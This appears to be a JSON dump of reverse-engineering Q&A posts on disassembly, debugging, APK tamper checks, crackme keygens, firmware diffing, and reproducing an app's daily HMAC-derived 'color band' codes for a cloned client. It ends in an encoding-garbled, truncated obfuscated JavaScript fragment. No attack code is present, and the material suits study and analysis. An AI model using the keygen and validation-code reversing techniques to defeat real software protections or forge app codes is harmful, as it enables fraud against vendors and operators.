......\n</code></pre>\n\n<p>the size 68 is relative to self so the next entry would be at \n0x58+0x68 == 0xc0 </p>\n\n<p>the offset to file name is relative to self so file name would be at \n0x58+0x52 = 0xaa as dumped </p>\n\n<p>so you can now go ahead by dumping the next entry by providing the appropriate seek address to xxd viz 0xc0 or 0n192 </p>\n\n<p>the last entry is at 0x628 whose size is 0x70 so it ends at 0x698 </p>\n\n<p>the very last entry is 0x10 bytes long with an mft reference 0</p>\n\n<blockquote>\n  <p>quoted from the pdf linked in your original post<br>\n  last entry has a size of 0x10 (just large enough for the flags (and a\n  mft ref of zero)</p>\n</blockquote>\n\n<pre><code>Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000690                          00 00 00 00 00 00 00 00          ........\n000006A0  10 00 00 00 02 00 00 00                          ........\n</code></pre>\n"
    },
    {
        "Id": "15863",
        "CreationDate": "2017-07-19T19:06:15.130",
        "Body": "<p>OK, so I know this is path is not recommended but it is a situation I have been forced into. I have a tool not created by me which takes the exported asm file from IDA and processes the exported assembly from IDA. However, it seems as though the assembly that IDA exports has changed since the tool was created. When I export an assembly listing from one of my IDA databases using the \"Produce file -> Create ASM file\" option, the resulting assembly listing does not include addresses for every instruction but the tool I am using has hardcoded the assembly listing format that it receives from IDA and throws exceptions because addresses are not at the start of every instruction.</p>\n\n<p>Is there a way to turn this feature on? What controls the format of the assembly listing that IDA exports? </p>\n",
        "Title": "Changing the format of IDA's Produce file -> Create ASM file",
        "Tags": "|ida|disassembly|file-format|",
        "Answer": "<p>To get addresses in the output, you should use <code>LST</code> option instead of <code>ASM</code>. <code>.asm</code> files are intended to be input for an assembler (in theory, in practice it <a href=\"https://reverseengineering.stackexchange.com/questions/3800/\">rarely works</a>) which will assign addresses to labels as necessary, so there is no need to print addresses in the <code>ASM</code> file.</p>\n"
    },
    {
        "Id": "15873",
        "CreationDate": "2017-07-21T07:11:03.847",
        "Body": "<p>I'm trying to write a keygen to a crack me that I'm learning from and I got stuck. What happens there is pretty simple:</p>\n\n<p>Let's say that I entered the password: \"12121212\"</p>\n\n<pre><code>XOR DWORD PTR DS:[ECX+EAX],1234567\nAND BYTE PTR DS:[ECX+EAX],0E\nADD ECX,4\nCMP ECX,8\n</code></pre>\n\n<p>As we can see, the first <code>DWORD</code> of the password (<code>0x32313231</code>, <em>notice that x86 processors use</em> <a href=\"https://en.wikipedia.org/wiki/Endianness\" rel=\"nofollow noreferrer\"><em>little-endian layout</em></a>) is being <code>XORed</code> with <code>0x1234567</code> so <code>0x32313231 ^ 0x1234567</code> results with <code>0x56771233</code>.\nThen there is an <code>AND</code> operation on the first byte (<code>0x56</code>) of the manipulated password and <code>0xe</code> which results with <code>0x6</code>. After that, the program repeats the operations, this time on the second <code>DWORD</code> of the password.</p>\n\n<p>My question is: I know I can reverse <code>XOR</code> but is it possible with <code>AND</code> operation?</p>\n",
        "Title": "Inverse And operation",
        "Tags": "|disassembly|assembly|c|patch-reversing|xor|",
        "Answer": "<p>While there's no way to know with 100% certainty what was the original value before the AND operation, you can find some <em>possible</em> values producing the same result, and sometimes that's enough. </p>\n\n<p>Basically, for <code>x &amp; N = z</code>, you can start from <code>z</code> and set any bits to <code>1</code> where you have are 0 in <code>N</code>. <code>z</code> itself will always work too.</p>\n\n<p>For example, if we know that <code>x &amp; 0xE == 6</code>, then at any of the following values of <code>x</code> will work: 6,7, 0x16, 0x17, 0x26, 0x27 and so on. </p>\n"
    },
    {
        "Id": "15883",
        "CreationDate": "2017-07-21T17:18:45.210",
        "Body": "<p>i was trying to search for some information about packers just to learn more about it, there is a lot of stuff out there but its hard to find something that really explain that good and clear,\nI would love if someone here could share some good materials about that topic.</p>\n\n<p>Thanks.</p>\n",
        "Title": "Information about packers",
        "Tags": "|disassembly|assembly|malware|winapi|packers|",
        "Answer": "<p>First, this article from Trustwave does an excellent job covering the topic thoroughly from a beginner's perspective (note: there are formatting errors throughout the article where it mashes two words together every two lines or so, but that aside, the content is good):</p>\n\n<p><a href=\"https://www.trustwave.com/Resources/SpiderLabs-Blog/Basic-Packers--Easy-As-Pie/\" rel=\"noreferrer\">https://www.trustwave.com/Resources/SpiderLabs-Blog/Basic-Packers--Easy-As-Pie/</a></p>\n\n<p>Next, combined with the aforementioned article, the Wikipedia page on the topic will help you flesh out the correct terminology to use for your future searches--things like \"executable packing,\" \"executable compression,\" etc.:</p>\n\n<p><a href=\"https://en.wikipedia.org/wiki/Executable_compression\" rel=\"noreferrer\">https://en.wikipedia.org/wiki/Executable_compression</a></p>\n\n<p>Those two resources should give you all you need to start building a solid understanding of the topic.</p>\n"
    },
    {
        "Id": "15895",
        "CreationDate": "2017-07-23T03:31:03.920",
        "Body": "<p>I am looking for a free &amp; open source alternative to IDA Pro runs on MacOS - the suggestions should have as close to the features of IDA as possible. I should also be able to edit an executable that I am debugging (i.e. change/remove things).</p>\n",
        "Title": "What is a free & open source alternative to IDA Pro for MacOS?",
        "Tags": "|ida|mach-o|macos|",
        "Answer": "<p>As of 2020, <a href=\"https://ghidra-sre.org/\" rel=\"noreferrer\">Ghidra</a> should be considered as a major contender. It is challenging IDA Pro in many areas. The integrated decompiler is one of its greatest assets.</p>\n<p>The support for debugging was added recently on the official repository. It will be added to the next official build. <a href=\"https://twitter.com/megabeets_/status/1339656906625998849\" rel=\"noreferrer\">Ref</a></p>\n<p><a href=\"https://i.stack.imgur.com/mpyYf.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/mpyYf.png\" alt=\"Main Window\" /></a></p>\n"
    },
    {
        "Id": "15899",
        "CreationDate": "2017-07-23T20:19:58.953",
        "Body": "<p>While reversing a binary, whatever symbols we name inside IDA IDB database, is it possible to load the same in GDB while debugging? e.g. I tried <a href=\"https://github.com/wapiflapi/wsym\" rel=\"nofollow noreferrer\">wsym</a> which attempts to inject those as symbols. However, the project seems to be in too beta to work properly. I want to use <code>pwndbg</code> for debugging, so using IDA's integrated remote debugging support is not really an option.</p>\n",
        "Title": "Loading user specified IDA symbols in GDB",
        "Tags": "|ida|gdb|",
        "Answer": "<p>One of this year's Recon talks was on a project which exports data from IDA as DWARF debug info. In theory that can be used in <code>gdb</code> to provide symbols.</p>\n\n<ul>\n<li><a href=\"https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-Exporting-IDA-Debug-Information.pdf\" rel=\"nofollow noreferrer\">Slides</a></li>\n<li><a href=\"http://github.com/alschwalm/dwarfexport\" rel=\"nofollow noreferrer\">Code</a></li>\n</ul>\n\n<p>P.S. according to <code>pwndbg</code> documentation, it already has some kind of <a href=\"https://github.com/pwndbg/pwndbg/blob/dev/FEATURES.md#ida-pro-integration\" rel=\"nofollow noreferrer\">\"IDA integraton\"</a>, so I'd suggest you to try that and contact the project if you can't get it working.</p>\n"
    },
    {
        "Id": "15904",
        "CreationDate": "2017-07-24T10:11:36.610",
        "Body": "<p>As part of a bug bounty program, I am trying to reverse engineer the bumble android mobile application via dynamic analysis. I find that if I use apktool to disassemble the apk and reassemble it again without even changing anything, the app will cease to function. It is able to start up but it complains that there is a problem with the internet connection. What are some ways apks use to prevent debugging and are there any known ways to overcome them?</p>\n\n<p>Update: Actually when i mentioned debugging i meant smali debugging where the apk is disassembled to smali code, android:debuggable=\"true\" is added to the manifest and the apk is recompiled to become debuggable. An IDE is then used to attach the debugger to the already running app process, where debugging is done via the disassembled smali code. Details: <a href=\"http://d-kovalenko.blogspot.sg/2012/08/debugging-smali-code-with-apk-tool-and.html\" rel=\"nofollow noreferrer\">http://d-kovalenko.blogspot.sg/2012/08/debugging-smali-code-with-apk-tool-and.html</a></p>\n",
        "Title": "Can apk files have protection against being debugged?",
        "Tags": "|disassembly|debugging|android|apk|",
        "Answer": "<p>After many hours of reverse-engineering, I finally discovered that the app was actually throwing a FacebookAuthorizationException, where the stored key hash in the apk does not match with the one in the developer's portal.(due to re-compilation). I suppose there is no way to surpass this since the access token is needed to log in with facebook. I believe I can therefore safely say that apks that only allow log in with facebook would be almost impossible to modify (and still work) since the access token would not be returned by facebook which is needed for authorization. (Unless the reverser is able to log in to the developer's portal to add the new key hash but that is a different matter)</p>\n"
    },
    {
        "Id": "15906",
        "CreationDate": "2017-07-24T12:20:04.130",
        "Body": "<pre><code>sub_123434 proc near \nmov esi, [ebp-1Ch] \nsub_123434 endp\n</code></pre>\n\n<p>What means proc near? Can someone possibly explain also the whole\nfunction?</p>\n",
        "Title": "my question is what means proc near?",
        "Tags": "|ida|disassembly|debugging|",
        "Answer": "<p>Insofar as <code>proc</code> and <code>endp</code>, start <a href=\"https://msdn.microsoft.com/en-us/library/01d2az3t.aspx\" rel=\"nofollow noreferrer\">here</a>. A good explanation for <code>near</code>can be found from <a href=\"http://spot.pcc.edu/~wlara/asmx86/asmx86_manual_8.pdf\" rel=\"nofollow noreferrer\">this document</a>, which states as follows:</p>\n\n<blockquote>\n  <p>Attribute is NEAR if the Procedure is in the same code segment as the\n  calling program; or FAR if in a different code segment.</p>\n</blockquote>\n\n<p>The meat of the code is this:</p>\n\n<pre><code>mov esi,[ebp-1Ch]\n</code></pre>\n\n<p>This bit of code is moving a value from the stack into the <code>esi</code> register. Depending on the compiler used and context, you might stand to glean additional information from <a href=\"http://www.swansontec.com/sregisters.html\" rel=\"nofollow noreferrer\">register conventions</a> where a value being moved into the <code>esi</code> register is concerned. More specifically, consider the accepted answer from <a href=\"https://stackoverflow.com/questions/1856320/purpose-of-esi-edi-registers\">this post</a>.</p>\n\n<p>Also, <code>ebp-</code> (as opposed to <code>ebp+</code>) is a typical sign of arguments that have been passed to a function--of which those values reside on the stack within memory addresses that can be referenced as long as that particular <a href=\"https://stackoverflow.com/questions/10057443/explain-the-concept-of-a-stack-frame-in-a-nutshell\">stack frame</a> exists.</p>\n\n<p>Regarding <code>[ebp-1Ch]</code>, that's a pointer. In this case, the <code>ebp</code> register contains a memory address (or, more specifically, the value in <code>ebp</code> is treated as a reference to a memory address instead of a literal value), and <code>-1Ch</code> is an offset from that memory address. The lowercase 'h' is just a pneumonic meaning \"hex,\" and to that end, you might also sometimes see offsets and/or hex-based values referenced with a preceding 0x, like this: <code>[ebp-0x1C]</code>. Bearing that in mind, you can really think of that as <code>[ebp-1C]</code>.</p>\n\n<p>Do note that <code>ebp</code> and <code>[ebp]</code> are different things. <code>[ebp]</code> means the value inside of <code>ebp</code> is treated as a reference to a memory address. Let's assume <code>ebp</code> has <code>0xD34DC0DE</code> in it. Now consider the following:</p>\n\n<pre><code>mov esi,ebp\nmov esi,[ebp]\nmov esi,[ebp-1C]\n</code></pre>\n\n<p>The results of each of these would be the following:</p>\n\n<p><code>mov esi,ebp</code> // esi now contains the literal value 0xD34DC0DE</p>\n\n<p><code>mov esi,[ebp]</code> // esi now contains whatever is inside the memory address 0xD34DC0DE</p>\n\n<p><code>mov esi,[ebp-1C]</code> // esi now contains whatever is inside the memory address 0xD34DC0C2 (which is 0xD34DC0DE - 1C)</p>\n\n<p>Overall, it looks like that subroutine isn't doing anything but moving data from the stack into a register. As a completely blind assumption, if we assume that each argument passed to its respective function is 4-bytes wide, then <code>[ebp-1C]</code> references the 8th argument passed to perhaps a parent routine of this subroutine. In this case, other values of interest could potentially reside in <code>[ebp]</code>, <code>[ebp-04]</code>, <code>[ebp-08]</code>, <code>[ebp-0C]</code>, <code>[ebp-10]</code>, <code>[ebp-14]</code>, and/or <code>[ebp-18]</code>.</p>\n\n<p>Ultimately, we're lacking context here to gather what the purpose of this function you've provided is--though, again, a combination of the aforementioned conventions can possibly tell you a lot about what that mov instruction is potentially a part of. Look into <a href=\"https://docs.microsoft.com/en-us/cpp/assembler/masm/proc\" rel=\"nofollow noreferrer\">calling conventions</a> for additional clarity. You should be able to infer and research the rest based on the information herein.</p>\n"
    },
    {
        "Id": "15912",
        "CreationDate": "2017-07-25T18:04:33.933",
        "Body": "<p>I'm investigating a bug that happens in proprietary DLL that doesn't have PDB symbols.</p>\n\n<p>The callstack looks like this:</p>\n\n<pre><code>KernelBase.dll!7710c54f()\n[Frames below may be incorrect and/or missing, no symbols loaded for KernelBase.dll]    \nmsvcr90.dll!__CxxThrowException@8()\nScrUsSsDtceLib.dll!5ec92ef1()\nScrUsSsDtceLib.dll!5ec91ec4()\nScrUsSsDtceLib.dll!5ec96f86()\nScrUsSsDtceLib.dll!5ec9de1c()\nScrUsSsDtceLib.dll!5ec9d5f5()\nScrUsSsDtceLib.dll!5ecc2f5d()\nvcomp90.dll!_vcomp::ParallelRegion::HandlerThreadFunc(void *,unsigned long)\nvcomp90.dll!_vcomp::NullAPCFunc(unsigned long)\nkernel32.dll!759b336a()\nntdll.dll!777e9902()\nntdll.dll!777e98d5()\n</code></pre>\n\n<p>Also I see the following DLL exports in Dependency Walker.</p>\n\n<pre><code>Ordinal Hint    Entry Point Function\n1   0   0x000135D0  IScrUsDtce2D::IScrUsDtce2D(void)\n2   1   0x00013B30  IScrUsDtce3D::IScrUsDtce3D(void)\n3   2   0x00013F50  IScrUsDtce2D::~IScrUsDtce2D(void)\n4   3   0x00013B50  IScrUsDtce3D::~IScrUsDtce3D(void)\n5   4   0x00012AA0  class IScrUsDtce2D &amp; IScrUsDtce2D::operator=(class IScrUsDtce2D const &amp;)\n6   5   0x00012AD0  class IScrUsDtce3D &amp; IScrUsDtce3D::operator=(class IScrUsDtce3D const &amp;)\n7   6   0x000139A0  int IScrUsDtce2D::FilterImage(unsigned short const *,unsigned short *,int,int)\n8   7   0x00013DC0  int IScrUsDtce3D::FilterVolume(int,unsigned char const * const *,unsigned char * *,int)\n9   8   0x00013620  int IScrUsDtce2D::Init(char const *,struct UsDtceImgInfo const &amp;,enum IScrUsDtce2D::ProcType,unsigned short const *)\n10  9   0x00013BA0  int IScrUsDtce3D::Init(char const *,struct UsDtceImgInfo const &amp;,enum IScrUsDtce3D::ProcType)\n11  10  0x000137F0  int IScrUsDtce2D::InitSSC(char const *,struct UsDtceImgInfo const &amp;,enum IScrUsDtce2D::ProcType,unsigned short const *,bool,float *,int)\n</code></pre>\n\n<p>Is there any way to understand which functions are called?</p>\n\n<p>UPD: I understand that bigger part of the callstack addresses may be private functions.</p>\n",
        "Title": "Translate addresses on stack to the exported function names",
        "Tags": "|debugging|",
        "Answer": "<p>post unadulterated stack use kb and paste the exact output<br>\nit is kinda difficult to understand what the symbols are in the stack paste<br>\nif they are return address ebp , args ?   </p>\n\n<p>most of the time you may need a disassembler application like ida / radare2 etc that does some extra work to analyze function boundaries and possibly name them</p>\n\n<p>for example this is a stack from livekd.exe from sysinternals</p>\n\n<pre><code>0:002&gt; ~0kb\n # ChildEBP RetAddr  Args to Child              \n00 0021eab0 77546a64 7570179c 000000cc 00000000 ntdll!KiFastSystemCallRet\n01 0021eab4 7570179c 000000cc 00000000 00000000 ntdll!NtWaitForSingleObject+0xc\n02 0021eb20 76bebaf3 000000cc ffffffff 00000000 KERNELBASE!WaitForSingleObjectEx+0x98\n03 0021eb38 76bebaa2 000000cc ffffffff 00000000 kernel32!WaitForSingleObjectExImplementation+0x75\n*** ERROR: Module load completed but symbols could not be loaded for e:\\sysint\\livekd.exe\n04 0021eb4c 00076038 000000cc ffffffff 00000000 kernel32!WaitForSingleObject+0x12\nWARNING: Stack unwind information not available. Following frames may be wrong.\n05 0021fae8 000795e6 00000001 002fbec0 002fbee8 livekd+0x6038\n06 0021fb30 76bf3c45 7ffdf000 0021fb7c 775637eb livekd+0x95e6\n07 0021fb3c 775637eb 7ffdf000 770c043e 00000000 kernel32!BaseThreadInitThunk+0xe\n08 0021fb7c 775637be 00079663 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70\n09 0021fb94 00000000 00079663 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b\n</code></pre>\n\n<p>you can find where livekd is loaded with </p>\n\n<pre><code>0:002&gt; lm m live*\nBrowse full module list\nstart    end        module name\n00070000 0010d000   livekd     (no symbols)       \n</code></pre>\n\n<p>now assume you load it in radare2 with the same base address <strong>0x70000</strong> you can seek to the return address in stack <strong>0x76038</strong></p>\n\n<p>radare does some analysis and says this address belongs to main()</p>\n\n<pre><code>radare2 -B 0x70000 -AA e:\\SYSINT\\livekd.exe\n\n[0x00079663]&gt; s 0x76038\n\n[0x00076038]&gt; pd 5\n|           0x00076038      6860894200     push 0x428960\n|           0x0007603d      ffd6           call esi\n|           0x0007603f      6860894200     push 0x428960\n|           0x00076044      c705c47b4200.  mov dword [0x427bc4], 0     ; [0x427bc4:4]=-1\n|           0x0007604e      ff158c704100   call dword [0x41708c]\n[0x00076038]&gt; afn\n\nmain &lt;-------------\n[0x00076038]&gt;\n</code></pre>\n\n<p>another example </p>\n\n<pre><code>[0x00076038]&gt; s 0x795e6\n[0x000795e6]&gt; afn\nentry0  &lt;----------------\n[0x000795e6]&gt;\n</code></pre>\n"
    },
    {
        "Id": "15925",
        "CreationDate": "2017-07-27T15:02:50.857",
        "Body": "<p>I have multiple malware files, I want to do an analysis with the opcodes. Im able to export everything to text but I only need the middle column. Any idea on how can I solve this?</p>\n\n<p>In other words of this output of objdump (objdump -d file) </p>\n\n<p><a href=\"https://i.stack.imgur.com/6ypgu.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6ypgu.png\" alt=\"enter image description here\"></a></p>\n\n<p>how can I only extract: \n8d 36\n8d 3f\n55\n90\n90\n8d 36\n89 e5\n8d 36</p>\n",
        "Title": "How can I export only the opcodes from objdump (or any other program)",
        "Tags": "|malware|objdump|assembly|",
        "Answer": "<p>This works best for me (and looks easier to understand IMO)</p>\n\n<pre><code>objdump -r -j .text -d test | cut -d: -f2 | cut -d$'\\t' -f 2\n</code></pre>\n\n<p>shellcode is best extracted via</p>\n\n<pre><code>hexdump -v -e '\"\\\\\"\"x\" 1/1 \"%02x\" \"\"' test\n</code></pre>\n"
    },
    {
        "Id": "15929",
        "CreationDate": "2017-07-28T01:33:45.657",
        "Body": "<p>I have saved a copy of the UEFI firmware currently running on my motherboard through the built-in flash utility. Now I want to compare the firmware dump with the newest firmware update from the manufacture to find out what have changed between the two versions. Both files are of the type <code>Intel serial flash for PCH ROM</code>.</p>\n\n<p>I want to make sure the new version isn't malicious and I'm unable to verify the integrity in any other way, as the manufacture doesn't provide any checksums and the update is only available over plain HTTP. However, I'm not sure how to get started with this.</p>\n\n<p>The built-in flash utility must add system specific data to the firmware dump, because everytime I save the firmware it has a different hash. I guess this should be stripped somehow to prevent it from complicating the process...</p>\n\n<p>Any tips, suggestions etc. on how I can get started is highly appreciated.</p>\n",
        "Title": "Find changes between two UEFI firmware versions?",
        "Tags": "|firmware|patch-reversing|bios|",
        "Answer": "<p>The dump is likely different due to NVRAM data (basically settings which need to be saved between boots or even BIOS updates, such as boot device, RAM timings, serial number/MAC address and so on). The contents of the firmware volumes containing code should not change between boots.</p>\n\n<p>There are at least two options I know of to check for differences between UEFI ROM dumps:</p>\n\n<ul>\n<li><p><a href=\"https://github.com/LongSoft/UEFITool\" rel=\"nofollow noreferrer\">UEFITool</a> or the sister project UEFIextract: extract both images then compare using a standard file diffing tool (e.g. Beyond Compare or even <code>diff</code>).</p></li>\n<li><p><a href=\"https://github.com/chipsec/chipsec\" rel=\"nofollow noreferrer\">chipsec</a> project has a whitelist module which is intended to verify that the list of UEFI modules has not changed:</p></li>\n</ul>\n\n<hr>\n\n<p>The module can generate a list of EFI executables from (U)EFI firmware file or<br>\nextracted from flash ROM, and then later check firmware image in flash ROM or<br>\nfile against this list of [expected/whitelisted] executables</p>\n\n<pre><code>Usage:\n\n  ``chipsec_main -m tools.uefi.whitelist [-a generate|check,&lt;json&gt;,&lt;fw_image&gt;]``\n\n    - ``generate``  Generates a list of EFI executable binaries from the UEFI\n\n                        firmware image (default)\n\n    - ``check``     Decodes UEFI firmware image and checks all EFI executable\n\n                        binaries against a specified list\n\n    - ``json``      JSON file with configuration of white-listed EFI\n\n                        executables (default = ``efilist.json``)\n\n    - ``fw_image``  Full file path to UEFI firmware image. If not specified,\n\n                        the module will dump firmware image directly from ROM\n\n\n\nExamples:\n\n\n\n&gt;&gt;&gt; chipsec_main -m tools.uefi.whitelist\n\n\n\nCreates a list of EFI executable binaries in ``efilist.json`` from the firmware\n\nimage extracted from ROM\n\n\n\n&gt;&gt;&gt; chipsec_main -i -n -m tools.uefi.whitelist -a generate,efilist.json,uefi.rom\n\n\n\nCreates a list of EFI executable binaries in ``efilist.json`` from ``uefi.rom``\n\nfirmware binary \n\n\n\n&gt;&gt;&gt; chipsec_main -i -n -m tools.uefi.whitelist -a check,efilist.json,uefi.rom\n\n\n\nDecodes ``uefi.rom`` UEFI firmware image binary and checks all EFI executables\n\nin it against a list defined in ``efilist.json``\n</code></pre>\n\n<hr>\n\n<p>Note that a BIOS update by its nature will mean some modules will change (due to bugfixes/new features etc.) but this should at least let you know which specific parts changed and maybe even inspect them in detail.</p>\n"
    },
    {
        "Id": "15931",
        "CreationDate": "2017-07-28T02:35:55.630",
        "Body": "<p>This might be a bit difficult to follow without context, but the gist of it is the following; I'm trying to reverse a certain application, and part of what I\"m attempting to reverse in the app generates 3 unique colors based on a string passed via API requests. I know that I've successfully reversed the API properly as the other data I receive works perfectly and I've built out a clone of the client that properly interacts with the API. What I'm stuck on is three color codes that are generated every day, based on a specific key passed by the API.</p>\n\n<p>Today, 7/26/17, the color codes are <code>[#c698c8, #72555f, #2f1021]</code>, created from the string that the API passed - <code>87gs4</code>. </p>\n\n<p>I've disassembled the Java code and traced the generation of these colors to the following set of functions. I've verified that it is indeed the string I grabbed from the API responsible for generating these. The <code>SALT</code> mentioned in the functions is generated from a datetime formatted as <code>yyyyMd</code> - in the case of today's colors, the salt is <code>20170727</code>, or as the HMAC signature function generates it, <code>20170727</code> is the input with <code>87gs4</code> as the key.</p>\n\n<p>The resulting signature is then taken (64 hex characters), and only the first 18 are saved, then split up into 3 to form the color codes. Therefore, I know the signature I'm looking for (for today) begins with <code>c698c872555f2f1021</code> - but for some reason, my results do not achieve this. I've checked to make sure I\"m using the right key/input order (even reversed it just in case), and I'm getitng <code>9a0ca25fff8eeccdbaf741436ddacf364f517adcb28299f0544c72a67dca2089</code> or <code>30c21ae7995415220e427588e451cbdd58d84785bcd58f8e3f0db2ca0fc104c4</code>. I've also checked lettercase to no avail.</p>\n\n<p>I don't have tomorrow's colors, but I have the data from the API and know the salt - tomorrow it will be <code>20170728</code> and <code>kRG86</code>.</p>\n\n<p>I have verified that there's no external manipulation via <code>getColorBand()</code> or <code>getSalt()</code> before the values are passed to create the signature, and I've even had another pair of eyes take a look at this - someone who is fairly experienced with this kind of stuff - he thinks that maybe we're missing something in the byte to hex (and vice versa) conversation that is causing incorrect results, but that we're on the right track and that an HMAC-SHA256 hash generator using the yyyyMd salt and the data I received is correct in that it <em>should</em> be generating the right data.</p>\n\n<p>Code for the actual string manipulation and generation:</p>\n\n<pre><code>        String color = this.hexFortmat.substring(0, 6);\n        ImageView colorBand1 = ((ImageView) DecompiledFile.this.findViewById(R.id.image_view1));\n        ImageView colorBand2 = ((ImageView) DecompiledFile.this.findViewById(R.id.image_view2));\n        ImageView colorBand3 = ((ImageView) DecompiledFile.this.findViewById(R.id.image_view3));\n        String hexFortmat = DecompiledFile.bin2hex(this.mdbytes);\n        byte[] mdbytes = DecompiledFile.generateHmacSHA256Signature(DecompiledFile.this.getSalt(), DecompiledFile.this.getColorBand());\n        boolean performAllTimerFunctions = true;\n        TextView specialInstruction = ((TextView) DecompiledFile.this.findViewById(R.id.textView9));\n        boolean visibleColorBand = false;\n        boolean visibleSpecialInstruction = false;\n</code></pre>\n\n<p>Relevant signature code:</p>\n\n<pre><code>public static byte[] generateHmacSHA256Signature(String data, String key) throws GeneralSecurityException, IOException {\n    try {\n        SecretKeySpec secretKey = new SecretKeySpec(key.getBytes(StringEncodings.UTF8), HMAC_SHA_256);\n        Mac mac = Mac.getInstance(HMAC_SHA_256);\n        mac.init(secretKey);\n        return mac.doFinal(data.getBytes(StringEncodings.UTF8));\n    } catch (UnsupportedEncodingException e) {\n        throw new GeneralSecurityException(e);\n    }\n}\n\nstatic String bin2hex(byte[] data) {\n    return String.format(\"%0\" + (data.length * 2) + \"X\", new Object[]{new BigInteger(1, data)});\n}\n</code></pre>\n",
        "Title": "Trying to reverse function to generate certain color strings from an HMAC signature - decompiled code LOOKS right, but my results differ",
        "Tags": "|java|hash-functions|",
        "Answer": "<p>you possibly have an extra 0 in the month</p>\n\n<p><a href=\"https://www.freeformatter.com/hmac-generator.html#ad-output\" rel=\"nofollow noreferrer\">https://www.freeformatter.com/hmac-generator.html#ad-output</a></p>\n\n<p>2017727</p>\n\n<p>87gs4</p>\n\n<p>c698c872565f2f1021645993fe29eff6adba41cb1260b7e671fc1752ae8d94a0</p>\n\n<p>it is padded according to format string</p>\n\n<p><a href=\"http://www.fileformat.info/tip/java/simpledateformat.htm\" rel=\"nofollow noreferrer\">http://www.fileformat.info/tip/java/simpledateformat.htm</a></p>\n\n<p>!<img src=\"https://i.stack.imgur.com/ZppOS.jpg\" alt=\"enter image description here\"></p>\n"
    },
    {
        "Id": "15943",
        "CreationDate": "2017-07-28T23:31:20.407",
        "Body": "<pre><code>\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7=~[];\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7={___:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$$$$:(![]+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7],__$:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$_$_:(![]+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7],_$_:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$_$$:({}+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7],$$_$:(\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7]+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7],_$$:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$$$_:(!\"\"+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7],$__:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$_$:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$$__:({}+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7],$$_:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$$$:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$___:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7,$__$:++\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7};\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_=(\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_=\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7+\"\")[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$]+(\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$=\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_[\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$])+(\u00d8 